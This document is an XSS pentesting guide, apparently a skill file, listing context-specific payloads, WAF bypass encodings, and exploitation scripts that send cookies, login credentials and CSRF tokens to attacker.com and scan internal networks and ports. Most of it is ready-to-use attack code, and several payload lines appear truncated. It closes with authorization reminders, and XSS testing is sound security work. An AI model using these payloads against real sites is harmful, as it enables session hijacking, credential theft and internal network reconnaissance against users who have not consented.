XSS Pentesting Skill
A systematic approach to finding and exploiting Cross-Site Scripting vulnerabilities in web applications.
Quick Start Methodology
- Find controllable input - Check parameters, path, headers, cookies for reflection
- Identify the context - Raw HTML, HTML attribute, JavaScript code, or DOM
- Craft the payload - Based on context and any filters in place
- Test and iterate - Try bypasses if initial payloads are blocked
Step 1: Find Reflected Values
Look for user-controlled data being reflected in the page:
- URL parameters:
?search=<test>- check if<test>appears in response - POST data: Form fields, JSON bodies
- Path segments:
/profile/<username> - Headers: User-Agent, Referer, Custom headers
- Cookies: Set a cookie and check if it appears in page source
Test payload: <test123> or "<test> - unique strings that are easy to find
Step 2: Identify the Context
Raw HTML Context
Your input appears directly in the HTML body.
Test: Send <img src=x>
If it works: You have a basic XSS. Try more advanced payloads below.
HTML Attribute Context
Your input is inside an attribute value like value="<input>" or href="<input>"
Test: Send "> - try to break out of the attribute
If you can't break out: Check if the attribute supports JavaScript (href, src, action, formaction)
JavaScript Context
Your input is inside <script> tags or JavaScript code.
Test: Send ';alert(1);// or ";alert(1);//
If in template literals: Try ${alert(1)}
DOM Context
Your input is used by JavaScript sinks like innerHTML, document.write(), location.href
Test: Check browser console for errors when sending ?param=<test>
Step 3: Payload Selection by Context
Raw HTML Payloads
<script>alert(1)</script>
<img src=x
<svg
<body
<input autofocus>
<marquee
<video><source
<audio src=x
Attribute Escape Payloads
"><script>alert(1)</script>
"
'
" autofocus x="
" x="
JavaScript String Escape Payloads
';alert(1);//
";alert(1);//
';alert(1)//
'-alert(1)-'
`';alert(1);//`
${alert(1)}
JavaScript Context Escape
</script><img src=x
</script><script>alert(1)</script>
Step 4: WAF Bypass Techniques
Encoding Bypasses
HTML Entity Encoding:
<script>alert(1)</script>
<script>alert(1)</script>
URL Encoding:
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
Unicode Encoding:
\u003cscript\u003ealert(1)\u003c/script\u003e
\u0061lert(1) // alert(1)
Case Variation
<ScRiPt>alert(1)</sCrIpT>
<ImG src=x
Null Byte Injection
<scr\x00ipt>alert(1)</scr\x00ipt>
<img src=x on\x00error=alert(1)>
Whitespace Variations
<script>alert(1)</script>
<script >alert(1)</script>
<script >alert(1)</script>
<script
>alert(1)</script>
Double Encoding
%253Cscript%253Ealert(1)%253C/script%253E
Comment Injection
<script><!--alert(1)--></script>
<script>/*alert(1)*/</script>
Event Handler Bypasses
<svg/onload=alert(1)>
<svg%09onload=alert(1)>
<svg%0Aonload=alert(1)>
<svg%0Donload=alert(1)>
<svg onload%09=alert(1)>
<svg onload%20=alert(1)>
String Construction Bypasses
String.fromCharCode(97,108,101,114,116)(1) // alert(1)
String.fromCharCode(115,99,114,105,112,116) // script
Function Call Bypasses (No Parentheses)
alert`1`
[1].find(alert)
[].sort.call`${alert}1`
Reflect.apply.call`${alert}${window}${[1]}`
Step 5: Advanced Exploitation
Cookie Stealing
<img src=x
<script>new Image().src='http://attacker.com/?c='+document.cookie</script>
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
Credential Harvesting
const DoLogin = () => {
const pwd = document.querySelector('input[type=password]').value;
const user = document.querySelector('input[type=text]').value;
fetch('http://attacker.com/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
CSRF Token Theft
var req = new XMLHttpRequest();
req.onload = function() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
fetch('http://attacker.com/?token='+token);
};
req.open('get', '/protected-page', true);
req.send();
Internal Network Discovery
for(i=1; i<=255; i++) {
fetch('http://192.168.0.'+i).then(()=>{
fetch('http://attacker.com/?ip=192.168.0.'+i);
});
}
Port Scanning
for(let i=1; i<=1000; i++) {
fetch('http://localhost:'+i, {mode: 'no-cors'}).then(()=>{
fetch('http://attacker.com/?port='+i);
});
}
Step 6: Special Cases
SVG Upload XSS
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>
Data URI XSS
<a href="data:text/html,<script>alert(1)</script>">Click</a>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
JavaScript Protocol XSS
<a href="javascript:alert(1)">Click</a>
<form action="javascript:alert(1)"><button>Submit</button></form>
Blind XSS (for later callback)
<img src=x
<script>fetch('http://attacker.com/?xss='+document.domain)</script>
PostMessage XSS
window.parent.postMessage('xss', '*');
window.addEventListener('message', (e) => { alert(e.data); });
Step 7: Testing Workflow
- Reconnaissance: Map all input points (URL params, forms, headers, cookies)
- Initial Testing: Send
<test>to each input, check for reflection - Context Identification: Determine where input is reflected
- Payload Testing: Try context-appropriate payloads
- Bypass Testing: If blocked, try encoding, case variation, null bytes
- Exploitation: Craft payload for your goal (cookie theft, credential harvest, etc.)
- Documentation: Record findings with proof-of-concept
Common Tools
- Burp Suite: Intruder for payload testing, Repeater for manual testing
- XSS Hunter: Blind XSS detection service
- Browser DevTools: Console for testing, Network tab for monitoring
- Custom scripts: For automated payload testing
Safety Notes
- Only test systems you have authorization to test
- Use test payloads like
alert(1)before destructive payloads - Document all findings for responsible disclosure
- Be aware of rate limiting and don't overwhelm targets